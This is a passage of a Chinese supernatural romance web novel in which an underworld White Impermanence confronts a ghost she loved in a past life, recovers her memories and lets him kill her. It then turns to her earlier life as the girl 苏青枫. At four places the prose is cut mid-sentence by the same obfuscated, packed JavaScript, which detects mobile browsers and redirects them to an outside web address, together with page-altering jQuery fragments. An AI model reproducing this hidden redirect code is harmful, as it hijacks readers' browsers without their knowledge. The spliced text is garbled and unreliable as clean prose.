盛情难却完全不为所动,“她只是‘躲’起来,并非‘藏’起来。若你想找,自然马上可以找到她。” 春生秋杀了悟,“所谓躲,意思是即使吾辈找到她,也奈何不了她么?” “我想撑过九个时辰应该还是没问题的。”盛情难却平静地以牙还牙。 “呵呵……”春生秋杀若有所思地轻笑,“吾辈见识过那个女人的巫术,想要对付吾辈还是欠缺了一点。这么说来,难道是那个术师死前还留下了什么东西?真是了不得啊,人都死了,竟然还能妨碍吾辈么。” “如果你不信,自然可以去见识一下。”盛情难却道,“不过最好当心一些,也许不慎之下,死的反而是你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582456|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 春生秋杀愣了愣,忽然开怀地笑了起来,“这算是在关心吾辈么?既然盛情你这么说了,吾辈当然是相信的。不过……盛情你究竟为什么要帮灵堂呢?” “出于无常的责任不可以么?”盛情难却不答反问。恶鬼杀人,扰乱生死簿上的记录,对于地府的确是件麻烦事。 “嗯……虽然这样保住了那个女人的性命,可是若是吾辈之后丧失神智,为鬼性所制,要杀的人恐怕就不止一个了。”春生秋杀伸手朝身后的街道虚虚一挥,满街尽是一动不动的男女老幼,“虽然这些人现在就跟萝卜白菜差不多,不过到时候吾辈丧心病狂起来,顺手要砍根萝卜切把菜也是控制不住的。要论责任,一城的人自然比一个人要重要。吾辈可不相信盛情你没想到这一点。” 他歪了歪脑袋,“所以,那个人有什么重要之处么?” “我跟灵堂做了笔生意,把木明瑟的魂魄寄存在她那里。”盛情难却缓缓道,“待异状解除之后,她会负责让魂魄转世。” 春生秋杀愣住了,“可是你自己也能携带那缕魂魄,又何必多此一举?” “我可以携带魂魄,但一旦我死去,所携的魂魄也会消散。而巫女把魂魄收在容器中,即使她死了,封存的魂魄或许有一日还能有机会重归地府。”盛情难却直言不讳。 春生秋杀摇摇头,“我又未必会杀你。” “你我都心知肚明,江州城的异状大概与十六日此处鬼门开有关。而今日是十三,十五日你还要再杀一人。即使你今日杀了灵堂,十五日也该轮到杀我了。”盛情难却条分缕析地给他算了一遍账。 “十五日与十六日不过隔了一日,吾辈勉强还是能维系几分神智的。何况说不定中间还有什么转机。”春生秋杀反驳。 “之后的事谁说得准。或许十六日过后江州城依然是这副模样,或许要么是人间的一批仙家术师来解决异状,要么是地府遣阎罗阴差来此。你若是神思混乱,有把握能从中逃脱么?” “说得好像吾辈非要杀了你不可一样啊。好啦,争不过你。”春生秋杀笑了笑,谦和地表示退让,“不过就算这么说,吾辈不到那个时候也是不会杀你的。所以就算那个术师留下的东西再凶险,吾辈现在也要去找灵堂了。”说着他就飘然转身,要往北边的街道去。 “一朝一夕之间,你是闯不进去的,不必费力冒这个险了。”盛情难却在他背后说。 春生秋杀回过身,脸上的表情忽然微妙起来,似笑非笑道:“其实这些事盛情你不用特意来告诉吾辈的,就算你在意那个术师的魂魄,吾辈也不会手下留情的。而且就算你想要提醒吾辈,大可以在这里放张字条,而不是站在这里。” 他龇了龇牙,象征性地摆出恐吓的架势,“快走吧,不然吾辈今日杀不了灵堂,说不定就要来杀你了哦。” 盛情难却依然静静站在原地。白幡在她身旁招展,显眼得几乎有些刻意。 “今日我不会拦着你杀人的。”她只是淡淡地重复道。 35. 春生秋杀(二) 春生秋杀微微掀起眉毛,嘴角的笑容收到一个耐人寻味的弧度。他半压眼睫,斜睨了一会盛情难却,这才状似戏谑道:“你想让吾辈杀了你?” “除了杀了我,你也没有别的选择了。”盛情难却毫无波折地陈述。 “这种时候就不要再开玩笑啦。”春生秋杀露齿一笑,轻快地摆了摆手,好像刚刚两人都只是说了个笑话,“吾辈去找灵堂就好了。” 可是他没有挪动,盛情难却也没有动。阴风轻轻吹动屋檐下挂着的铃铛,在细碎而寂寥的铃声中,两人就这样对视片刻,仿佛彼此之间有一根弓弦在无声地拉紧。 “为什么?”春生秋杀终于出声问道,连声音也忽然沉了下来,好像变了一个人——或者说,这一瞬他的神情不再像人了,而终于从人的模样下泄露出厉鬼的阴惨。 那张柔美面容上的笑意已经荡然无存。他平时也有不笑的时候,但也会相应地呈现出惊讶、忧愁等等别的情绪,鲜少如此刻这般没有任何一丝表情。比起盛情难却来,他这样面无表情的时候格外让人脊骨生寒,那双眼角略微下垂的殷红眸子甚至显得有些恐怖。 平时的春生秋杀,哪怕是以凡人为标准来衡量,他也绝对算是好脾气了,是那种走失在山林里的孩子见到他也不会觉得害怕的好,遑论他本该是个凶煞的鬼。似乎他永远善解人意、通情达理,仿佛自他出生时就是一副笑面,而临终也带着这样的笑而死,哪怕现在成了厉鬼,也叫人难以想象他会有乖戾怨缠的时候。 这是盛情难却第二次见他发怒。第一次他流露出怒意,是数日前李绣之重伤了盛情难却。那时白日当空,花树灿烂,恶鬼冰冷的怒意也像坠落的杏花一样旋踵即逝,只在三日后残酷地洞穿了李绣之的胸口。而现在更深夜阑,阴风四起,春生秋杀并未释出鬼气,他周边的一片区域却好像弥漫着黏稠的重压。 “你不是说我的心思很容易猜么,那就猜猜看吧。”在春生秋杀几乎有些骇人的凝视中,盛情难却毫无反应,依然宛如木人石心,以一成不变的语调道。她本来也不存在害怕的情绪,况且她也用不着害怕——被眼前的鬼所杀正是她要求的。 春生秋杀长长地叹了口气。他刚刚并非有意要恐吓白无常,只是情不自禁地有些愠怒。他按下那股怨气,扶额道:“是想验证吾辈会不会杀掉你么?吾辈真的很不愿意对你动手,又何必这样逼迫吾辈呢。” 厉鬼周身的重压已然消弭,语气中满是悻悻,尾音像是被射落的羽毛一样飘零。他的手缓缓滑下脸颊,露出含着苦笑的眉眼。每当他拿盛情难却没办法的时候,就会这样五味杂陈地笑。哪怕他实际上并没有遭受什么损害,一旦这样笑起来,言表之间含蓄的委屈之情还是会让一般人忍不住反省自己——除非是对着缺乏感情的怪物。 夜凉如水。明月西沉,投下的月光在天地之间也像是流水,自西渺然涌流向东,清澈得仿佛潺潺有声。屋顶的瓦片月影粼粼,犹如漾起的水纹。 盛情难却望着春生秋杀,看似水的月光盈盈地盛在他眉眼间,随着眨动的睫毛流荡。 为什么他总是让她想到水或者水边?盛情难却短暂地走神了一会,然后也盈盈一笑,“你为什么不愿意杀我?” 看似她只不过在顺着春生秋杀的话接腔,春生秋杀却微微一怔,仿佛闻弦歌而知雅意。 “……哈哈,是这样啊。原来是为了这个。”他恍然大悟,然后歪了歪头,兼具疑问和安抚的意思,“这件事以后有的是机会慢慢说,不必在今日急着与吾辈对峙吧。” “未必有这样的机会吧,而且你其实也并不想要告诉我。”盛情难却如同庖丁解牛,无情而准确地戳中关节,“若是你愿意说,就算现在告诉我又有何妨。” “吾辈听说过一件事。三百年前,灵帝在位,时局一度动荡不安。某年有一位宰相杨氏忽然失声,口不能言,当时朝野都流传是灵帝被杨氏的谏言触怒,暗中毒哑了他。” 春生秋杀忽然认真地讲起一则掌故,奇怪的是他这样一个外表绮艳的鬼魅,夜深人静,讲起久远的故事来却没有蛊惑人心的意味,反倒像个出身诗礼簪缨之家的年轻名士在引据史事,“结果几年之后杨氏襄助建王弑灵帝登基,人们这才知道杨氏失声是因为他有梦呓的习惯,为了避免在梦话中透露他与建王一党密谋之事,杨氏便服药弄哑了自己。这就是所谓难言之隐。” 他娓娓讲完这则古事,然后顺理成章地指了指自己,“唉——吾辈如今不开口,自然也是因为有难言之隐啊。” 在春生秋杀引古证今的时候,盛情难却始终无动于衷,简直好似对牛弹琴里的那头牛。等到春生秋杀说完最后一句话,她眼皮都不抬一下,貌似肃然道: “你要篡夺我的无常之位么?” “呵呵,说不定呢。”春生秋杀被她突如其来的冷笑话逗笑了,也神秘莫测地竖起食指贴在唇前,“所以在吾辈还没开口的时候,盛情你还可以好好当你的白无常。” 盛情难却不再玩笑了,古镜一样的双瞳照鉴着厉鬼的形影,“杨氏失声是因为他害怕密谋泄露,那你害怕的是什么?红名厉鬼也有害怕的东西么?” “正是因为有害怕的东西,吾辈才会变成鬼啊。”春生秋杀微笑着说,不经意地避开了第一个问题,反问道,“如何,盛情你还想要知道么?吾辈可以告诉你,是因为前世我们情谊深厚,所以吾辈不愿杀你,这样解释可足够了?” 他所谓的解释寥寥数语而且暧昧不清,听着似乎全无诚意,但他的语气和神情又证明他所言非虚,并无一丝敷衍。如果脸上能看到字的话,那此刻春生秋杀的脸上着实是大大“难言之隐”四个字。 他这样一番动之以情晓之以理下来,就算铁石也该为他让步了。但盛情难却寸步不移。 “我想知道,所有的事。” 盛情难却平着声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591384|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音说。她的声音里没有威胁,没有恳求,单调得像是在磨石上磨砺刀刃,只是冷冷的清锐的声音。 “真是固执啊。”春生秋杀轻轻地感慨道,却好像已经预料到了这样的结果,“不过如果不是这样的话,我们就不会……” 春生秋杀中断了后半句话。他忽然又笑了,通常“事已至此”不是一个修辞,此时却只能用这个词来形容他笑容中的千回百转。犹如看破了对方的棋路,但棋势已经避无可避,只能相迎厮杀。 “想知道前世的事么?那吾辈现在就告诉你吧。” 他终于开口,步履轻悄地靠近盛情难却。话音落下时,他与盛情难却已只有咫尺之距。 灰发青年双眸弯弯,伸手捧起面前少女的脸颊,像是用冰掬起一把雪。盛情难却没有抗拒也没有动作,仿佛一尊任人摆弄的木偶。尔后春生秋杀缓缓倾身,额头抵上她的额头。 两处并非活人的肌肤相贴,没有旖旎的温度,只有一点点柔软。 一刹那,盛情难却觉得脚下一空。分明她不用步行也能飘在空中,此时却好像坠入了无尽的云雾之中,令她微微有些昏眩。身旁的引魂幡翻飞不已,这件地府的法器有意识地要替主人驱逐恶鬼。盛情难却克制着身为无常的本能,闭上眼睛,任由厉鬼营造的幻觉侵入她的思绪。 忽然之间,她又置身于那个很久很久以前的春天。往事如潮涌来,好像一切她都不曾忘却,时隔百年之久、死生之遥,依旧能够信手拈出。 那些记忆原本像是锁在一座牢固的高台之中,自从遇见“春生秋杀”开始,这座高楼就已经开始朽坏。 而现在终于,整座楼台都轰然坍圮下来。 有些模糊和纷乱的幻象中,白无常却无比清晰地回忆起了她的生前——回忆起了那短暂的十七年中,尤为短暂、却又漫长到足以盖过其余年岁的,最后一年的春来秋去。 等到盛情难却再度睁开眼睛,发现自己正倚在春生秋杀的怀里。一名厉鬼安安稳稳地怀抱着一位无常,这个古怪的场景除了发生在他们身上,想必古往今来都不会再有了。 她慢慢眨了一下眼,最先映入眼帘的是那轮比起满月来尚显畸形的月亮,又下落几寸,遥遥地贴着屋脊一线。看来她并没有陷在幻觉和回忆中太久。 她没有立即退后或者站直,就这样抬起头。恰好春生秋杀也在看她,眼神中半是担忧半是谨慎。明明他自己是厉鬼,这副微妙的神情却好像他担心盛情难却会化身为恶鬼。 见盛情难却醒来,春生秋杀仍然放不下什么顾虑似的拧着眉,但还是笑吟吟道:“想起来了么?” “想起来了。” 白衣少女脸上还是没有什么表情,但似乎又有什么难以言传的东西发生了变化。她淡然道:“我之前想不起来不是因为地府消去了我的记忆。” “而是因为,”她以一种若无其事的漠然口气道,“我疯了。” 36. 春生秋杀(三) “后悔了么?” 灰发青年嘴角仍然噙着一丝缓和的笑,听到盛情难却的话,他并没有什么激烈的反应,只是意味深长地问了一句。后悔?是指后悔现在想起了过往,还是后悔当年的那件事? “只要你不后悔,我就不后悔。” 盛情难却平静地说。她后退一步离开厉鬼怀中,两人保持着一个不远不近的距离。渐沉的月光落满了这段距离,仿佛他们之间的关系就如这片月光一般,横亘天地之遥,烙下一个明晦不定的影子。 “季亡哀,”她叫出他生前的真名,抬眼直视着他,“你是怕我想起过去的事,就不再爱你了么?” “爱”这个温软的字眼,出现在面无表情的白无常毫无起伏的话中,几乎像是生铁上的锈斑一样突兀。然而盛情难却说得极其自然,仿佛这份沉重的感情就是构成她的一部分。 她终于明白了她在这只长久飘荡人世的鬼身上所系的执念是什么,明白了十几天前看到他的第一眼,产生的那接近于恨的感情是什么。 如果非要用人世的一个词来概括这份感情,那便只能是“爱”了。 盛情难却之前从未洞悉这一点,因为她确信自己不会对“春生秋杀”产生任何感情。然而原来百年之前他们就早已相遇,所谓的爱就如同陈年旧疾,一接触诱因就开始隐隐发作。 “我可是履行了我的承诺,所以我相信你也会一直爱着我的。”季亡哀出乎意料地很快回答,像是这个问题根本无足挂齿。他说得轻描淡写,这句话却显得奇特而夸张,仿佛爱是什么能轻易掌控的东西。而与其说他相信盛情难却,不如说他相信自己绝对拥有着她的爱。 他那古怪的自称也变化了,表示他彻底卸下了春生秋杀的伪装。他叹了口气,“我只是担心你想起过去的事,再一次发疯而已。” “这是在关心我?” “是啊。”季亡哀挠了挠头,“你不会以为我对你根本不在意吧?” “难道不是谁都可以?”盛情难却这个问句没头没尾,显得有点莫名其妙。 “我对你一见钟情——这样说大概太轻浮了吧,但我看见你的时候就这么觉得,你就是我一直在找的那个人啊。”季亡哀笑着说出这番近乎于表白的话。他说得很温柔,但若是用恋人间的情意形容他的心迹,正如他所言的,反而太轻浮了,“所以不是谁都可以。只有你。” 只有你——之后的话他却没有说下去。 “是啊,毕竟不是每个人都会倾心于一个人,然后再答应杀了他。”盛情难却说,听不出她是在嘲讽还是认同季亡哀,“但现在我已经不是十七岁的小姑娘了,这些年也见了太多生死,所以我不会再发疯了。” “哪怕现在再杀了我?”季亡哀仿佛是半开玩笑,语气却很认真。 盛情难却没有直接回答。 “现在应该是你要杀了我。”她以同样的认真说。 “哎,莫非是地府的工作太劳累,你才一门心思想早点了事?”季亡哀一愣之后,用一句调侃轻轻带过,然后径直越过盛情难却身边。 他本可以眨眼间离去无踪,但他的速度并不快,不知是因为要追踪灵堂留下的痕迹,还是在暗示盛情难却“想跟就跟上来吧”。 盛情难却默默跟在他身后,没有说话也没有动手,就这样一路随他到了如意客栈。 隔着一道门,房间内黑沉沉的没有声响,仿佛就是一间无人的普通客房。季亡哀的脸色却微微变了,像是接近了什么讨厌的东西,不由自主蹙起眉头。走廊中飘起了白雾,不知何时阴冷的鬼气已经弥漫开来。但白雾始终没有渗过薄薄的木门,仿佛有一层无形的屏障隔开了它。 季亡哀伸手像是要推门,然而他还没有触碰到门扉,一簇金色火焰蓦地从他指尖燃烧起来。一瞬间他似乎被这丛火灼伤,表情不由自主地扭曲了一下。但他却没有缩回手,而是屈指成爪,施力继续往前探去。他的整只手都已经陷在雷火中,惨淡的鬼气在附近不断凝聚,意图压制驱邪的术法,火焰却不受遏止地燎烧着,雾气中明火灿然,仿佛天光破云。 似乎察觉到厉鬼的凶狠,金火越发炽烈,逐渐吞噬了季亡哀的半条手臂,这样下去,不消片刻,只怕他全身都要被火所焚。季亡哀并未开口,盛情难却的耳中却好像满是充斥着凄厉的哀鸣声,她不得不一拂袖驱散那些幻觉,以免心神被摄夺。 终于季亡哀放弃了抗衡,他猛地抽回手,轻轻倒吸了一口气。他原本就没有血色的脸此时苍白得几乎透明,仿佛随时会泯没消失。而那条手臂不知是化作了鬼形,还是被火烧尽了皮肉,业已变作了森森白骨。他垂下手,落下的斗篷盖住了骇人的枯骨。 少年术师虽然身体衰弱,但却半分无损于术法造诣。木明瑟不知耗了多少时间和精力,拖着虚弱的躯体,用尽符、术、阵三道术法,布置了这一方庇护——此门之内,妖鬼莫侵! “看来盛情你说得没错,一时半会我的确进不去。”季亡哀恢复了笑容,但他的容颜和声音忽然缥缈起来,仿佛茫茫的雾气忽然要蒙蔽人的心,带着循循善诱的意味,“但是盛情你可以进去吧。不管是破坏里面的符咒也好,把灵堂骗出来也好——” “我不会去的。” 引魂幡凛凛飘拂,涤除了恶鬼的引诱。盛情难却一字一句地说,然而话语中并不冷漠,只是有些固执。 “……为什么?”季亡哀眯起那双殷红的眼眸,终于流露出些许不解,“那个术师的魂魄就这么重要?” 盛情难却点点头。若不是为了木明瑟,她其实并不在乎灵堂的生死,完全也可以等三日以后季亡哀来找她。但她是个守诺的人,当时她许诺了会让木明瑟安然渡过黄泉转世,她就会尽力做到。 “虽然木明瑟不算是我的什么人,但他对我很好,就像我前任的搭档一样,所以我可以为了他们而死。”她坦然道。 “我记得你之前也说过差不多的话。”季亡哀悠悠道,他的语气称不上嫉妒,但泛着某种微妙的酸涩,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603596|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然我也不认为你只是说说而已,不过……没想到这么快你就会选择为他而死。” “不。”盛情难却吐出否定的答案,她忽然灿烂地笑了,“我是为了你而死啊。” 她的笑靥不再空洞了。那双深潭一样的眼眸中,仿佛向来平静如古镜的水面破碎了,搅起了巨大的漩涡,要将什么席卷吞没。 “如果你要杀人才能‘活下去’,那就杀了我吧。”她眼中闪动着异样的神采,微笑着说。 “唉……我以为你恢复记忆之后就不会这样想了。”季亡哀叹气道,“你不是为了我而活着的么?” 这句话分明太过傲慢,但他说出口却并不显得自负,只像是提起一件理所当然的事。 “你是我活着的意义,可重要的是这个意义本身,而不是活着。”盛情难却淡淡地说,“你弄错了。因为你渴望长生不死,所以你以为所有人都很在意性命,但对我来说,能够为了某件事活着就够了,至于活多久是无所谓的。” 就算她什么都不做,缩在房间里也能安安全全等到异状解除——总归地府和人间不会撇下这里不管。但说到底,她对自己的性命并不怎么在乎。如果是为了交换一些更值得的东西,她完全愿意付出生命。 这样想来,季亡哀或许的确太自负了。 “……” 季亡哀难得说不出话来。他瞪着盛情难却,然后抬起手臂,白骨的手掐住了她的脖子。没有宽大的斗篷,白无常的身影更显得娇小。他就像拎着一个布做的人偶。 “你当真想好了?” “想好了。”盛情难却说,“还有,你掐我脖子也没用,无常不需要呼吸。” “我也没打算采用这么温和的手段呀。我会直接把你的脑袋拧下来的。”季亡哀幽幽地说,可是手下并没有用力,更像是在吓唬她。 “那就把我的头拧下来吧。倒是难得见你这般犹豫。”盛情难却目不别视。 “因为我真的不想你现在就死去。我希望你能和我一起天长地久地活下去,毕竟我身为鬼,与这个世间的羁绊就是你啊。”季亡哀轻声道,“但是如果是为了让我自己活下去……我还是会杀了你的。” 他松开手,然后往前一步,抱住了白衣少女。两个单薄的人形彼此拥抱,犹如两片影子重叠在一起。 屋外月沉西山,而太阳尚未升起,这一刻铺天盖地的黑暗笼罩了世界,仿佛只剩下两个死于百年之前的孤魂静静相拥。 如果能这样死去也不错。盛情难却微微偏头,感到季亡哀披落的发丝垂在自己脸侧,柔软的触感像是某种水鸟的羽毛。喜怒哀乐诸般情绪在她心中已经冰封了许久,而现在春风靡然化冻,一种由衷的欣喜缓缓流淌在她心间,普通得像是一个及笄的少女终于将亲手准备的礼物赠给了心悦之人。 她忽然觉得后背被什么贯穿了。并不强烈的痛觉被透彻全身的冷意掩过,她得偿所愿地闭上眼睛,感觉一切都在模糊远去,好像坠入了春日微寒的溪水中。 37. 怎堪多情(一) 苏度光去世的那一年,苏青枫十一岁。 苏度光年轻时在乡中颇负才名,连当地的郡望季氏都时常遣人到他住的茅草屋中,求取一帖书法。前来的仆人只需倚在门边等待一刻钟,苏度光不仅挥毫写就一纸,纸上常常还是他当场新赋的诗作,号称“倚门才子”。乡中沈氏的小姐倾慕他的才华,嫁与他作了妻子。夫妻俩虽是住在山间的茅屋,但读书耕织,生活也称得上美满。 然而或许是造化弄人,或许是判卷的考官不看中他文章里的乡野气,原本笃信自己是状元之材的男人竟然屡试不第。苏度光也曾犹豫是否要直接北上帝都,拜访公卿以求举荐。然而恰在这个时候,迟迟未有身孕的沈氏怀胎诞下了一个女孩。时年三十的苏度光于是笑着叹气,说我已经有了一个堪比金玉的宝贝,又何必再去帝都寻求黄金美玉呢? 他写下一篇《金玉赋》,这辈子没有再踏出过河步乡。 女孩诞生时,正值阳春三月。苏度光望着山间一片青色的枫树,便给女儿取名叫青枫。 渐渐的,苏度光书帖上的旧诗越来越多,不再像从前那样提笔即能成赋,“倚门才子”的名号也逐渐被人们遗忘。如他这样的人,年少时敏捷的才华像是一支利箭,离弦之初飒然如电,没金饮羽,见者皆惊;然而起势再强的箭最终也会坠下。在苏度光年过而立的时候,他这支箭还没有破军杀将,箭劲却已经将尽了。没有状元郎与美佳人的传说,乡里只多了一对日趋老去的普通夫妇,和他们慢慢长大的女儿。 苏家的桌案上还是放着几册诗文。耕作不忙的时候,苏度光就会坐在案前。他已经不自己作诗了,而是携着年幼的女儿,一句句给她念诗。 也许是因为父亲从小教她读诗文的缘故,苏青枫心思远比一般的孩子细腻。八九岁的时候,她已经能看出诗句中所寄托的各种情思。终于有一天,她发现父亲那篇《金玉赋》中,通篇洋溢的不是豁达洒脱……而是有志难酬的哀凉。 从那时起,苏青枫忽然就能看穿父亲平时说笑的模样之下,始终埋藏着的郁郁不平。 如果自己再乖巧听话一点,父亲是不是能早点释然呢?年幼的苏青枫懵懂地想。 但还没有等她想出能让父亲高兴起来的办法,某一日,苏度光在上山砍柴时意外摔下山崖。两日后,在崖底找到的只是他的尸体。 苏青枫最后在一口薄棺中见到了父亲。从那张瞑目的脸上,她终于再看不出父亲是悲是喜。 沈氏素性温宁恬淡,苏青枫也是个文静的孩子。只剩下两人的茅屋比从前安静了不少,除此之外却好像没什么变化,母女俩依旧照常过着日子。 在刚刚得知父亲去世的那段时日,苏青枫哭了好几天,以至于病了一场。也许是快要流尽的眼泪冲淡了巨大的悲伤,病好之后她忽然觉得心中的沉痛仿佛已经恍若隔世。不仅哀伤,其他的情绪似乎也随之淡薄了许多。但在母亲面前,苏青枫还是常常扬起笑脸,应时对景地扮出开心的样子。 沈氏除了在出殡的那天默默地流泪,之后便像是什么都没有发生过一般,做的饭菜滋味不减,所织的绣品甚至越发精美。旁人见了她的模样,或许会称赞她心性坚韧,或许会以为她对过世的夫君用情不深。 但苏青枫在那面并蒂莲花的织绣上,透过娇艳如含风带露、宛如将精气绣入其中的花瓣,却看见了无声的哀恸之情。 几欲呕血。 那个瞬间苏青枫蓦然意识到,这份隐藏在平静日常下的悲痛终有一日将摧毁母亲。沈氏命不久矣。 苏青枫清晰地感知到了这份如剑悬顶的悲痛,但她无力消解,甚至无法再感同身受。她越来越少地被喜怒哀乐触动,但她还是会在与沈氏聊天时微笑,在沈氏卧病在床时皱眉担忧。 苏青枫十六岁时,沈氏病故。 发现沈氏气息已绝的那一刻,苏青枫心中并未泛起一丝涟漪,平静地开始收殓母亲的尸身,像是收拾吃剩的饭菜。这一刻她倏尔了悟,她有意无意隔绝了诸般情绪,或许就是为了预备此时。只有这样,她才不会像她母亲一样被没顶的悲伤压垮。 只有这样她才能活下去。 置办一副棺材已经太奢侈了,苏青枫用一卷草席裹起沈氏的尸体,搬到了不远处的山坡。幸亏沈氏因为重病瘦得只留一把骨头,搬起来并不费劲。苏青枫花半个时辰挖了一个坑,将母亲葬了进去。没有立墓碑。 哪怕她忘了母亲葬在哪里,只要向这座山祭拜就可以了。而且她心中已经不存在什么思念之情了,大概不会再有人来祭拜这座坟。 山间的茅屋中,居住的只剩下了一个人。 苏青枫识文断字,也向母亲学了织绣的手艺,还有一间茅屋栖身,独自一人过活也不算难事。只是她开始有些茫然,不知道自己为何要活下去。 她见春花秋月也不会欣喜,见金银珠宝也不会心动,活着似乎很没意思。但她也不至于往河里一跳了之,于是就这么了无波澜、得过且过地活过了一天又一天。 然后,又是一年的阳春三月。 现在想来,那也只是一个寻常到没有任何征兆的日子,苏青枫去乡里卖了几柄绣扇,正提着空布袋走在回家的路上。 离茅屋大约有个两三里的山路,路很好认,沿着一条小溪走就可以了。走路时苏青枫往往低着头,看着溪面的倒影。这倒不是她顾影自怜,可能只是隐隐觉得有个影子陪自己走路,显得不那么寂寞。只要一低头,就能看见影子在那里。 倒影中的少女身着布裳,一头漆黑的长发简单挽起,跟乡间普通的女孩子没什么两样,只是一张清丽的脸上漠无表情,只在溪水粼粼的细浪中漾开一丝波动。 一片日光透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612252|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树叶的缝隙,金灿灿映在琉璃般的水面上,晃得苏青枫不由眯了下眼睛。 再睁开眼时,猝不及防的,她看见了另一个人的倒影。 白衣少年的身影映在溪水的另一侧。尺水之隔,两人通过水中的倒影,不期然对上了彼此的视线。 现在想来,那也只是一个再寻常不过的春日,唯独天气好得无可挑剔。晴光宛如一片片的银屑,纷纷扬扬地在水面上闪动。山溪透碧如玉,淙淙流淌。天地寂静,只有流动的溪水发出仿佛永恒的悠长响声。 天光与水光浮动,好像春光在一杯浅浅的酒中醉去,一切都在流光中忽忽如撩。 后来苏青枫会想,如果不是在那时那刻她见到季亡哀,也许本不会觉得他有什么与众不同。只是因为在那样的日光和水畔遇见了他,便错将他视作了同等明亮夺目、摄人心魄的存在。 这等景色是不宜于相遇的。在这样的景色中见到的人,注定不能再当一个平常的过客,必然在余生中铭心刻骨。 倒影中的少年一袭简简单单的白衣,在这样乍暖还寒的初春显得有些单薄。他的头发竟然是奇异的灰色,容貌又格外韶秀,苏青枫一瞬间还以为自己碰见了山里百年的妖魅。然而少年衣着虽然并不张扬,仅仅站在那里,却仿佛一只临水顾盼的苍鹭,有一种不言自明的矜贵。 神秘的白衣少年也透过水面,静静凝望着苏青枫。他脸上微微带着笑容,雪白的身影在潋滟的水波中也像是轻盈的泡沫,似乎一眨眼一呼吸间就会消失破碎。 这大概是哪位大户人家的公子来游山玩水吧。苏青枫忽然回过神来,才发现自己不知何时呆呆地站住了。在见到少年的那一刹,她的心中莫名悸动了一下。这种异样的悸动令她警惕起来,因为她一贯不想跟旁人产生过多的交集。 苏青枫立即扭回头,正要继续赶路,却忽然听到惊人的水花声—— 那位贵公子般的少年扑通摔进了溪水里。 这条溪涧虽然不是那种能在其中捉鱼摸虾的浅流,但也不足一人深,一般不至于把人淹死。只是从道义方面而言,见人落水却兀自扬长而去,未免太过分了点。苏青枫还算识水性,于是她来不及思考自己是否额外产生了想救这个少年的心思,即刻也纵身跳进水里,去拉正在费力扑腾的少年。 落水者一碰到施救的人,大多会因为恐慌而死死拽住来人,有时甚至会导致两人双双溺毙。但白衣少年一感受到有人拉他,便不再拼命挣扎,顺从地被苏青枫捞上了岸。 苏青枫毕竟还只是个十六七岁的小姑娘,努力把少年拖上岸,也有些精疲力竭,直接跪坐在地。而少年同样脱力,勉强撑着身体坐起来。一时间两人急促的喘息盖过了溪水缓缓的流淌声。 好不容易匀出了一口气,苏青枫抹了一把脸上的水,客套地关怀了一句:“你没事吧?” 38. 怎堪多情(二) 少年几乎与她同时开口:“多谢姑娘救命之恩……咳咳。” 他似乎惊魂甫定,还被冰凉的溪水冻得有些哆嗦。但他背对着苏青枫,因而苏青枫也看不到他脸色怎样。 “不用谢。” “我没事。” 两人再次齐声道。 仿佛为了缓解这份尴尬,少年轻轻地笑了笑,“想不到开春了的溪水还这般冷,连累姑娘受冻了。” 与初见时那种难以捉摸的气质不同,他语气轻快明朗,令人听来心间清爽。这位似乎出身于高门大户的少年待人却不倨傲,让人顿生亲近之意。 苏青枫摇摇头,“我不要紧。你若是没有大碍的话,也快些回去吧。当心风吹了受寒。” 此时离得近了,她才发现少年其实层层叠叠穿了好几件衣裳,显得单薄只是因为他本身太瘦削,像是一阵风就能吹倒——说不定刚刚他就是被一阵风给吹进了溪里。 “其实……我是偷偷从家里跑出来玩的。”不知名的少年有些为难地说,“如果让家里的人发现我掉进了河里,以后就会不准我出门了。” 他犹豫了一下,有点不好意思道:“你家住在附近么?能否暂时留我把衣服烤干?” 尽管少年背对着看不见,苏青枫还是露出一个笑容,表示谢绝,“既然如此,你就更应该早点回去了,免得在外面又遇到什么意外。” “你怕我么?”少年忽然问。 “你有什么可怕么?” 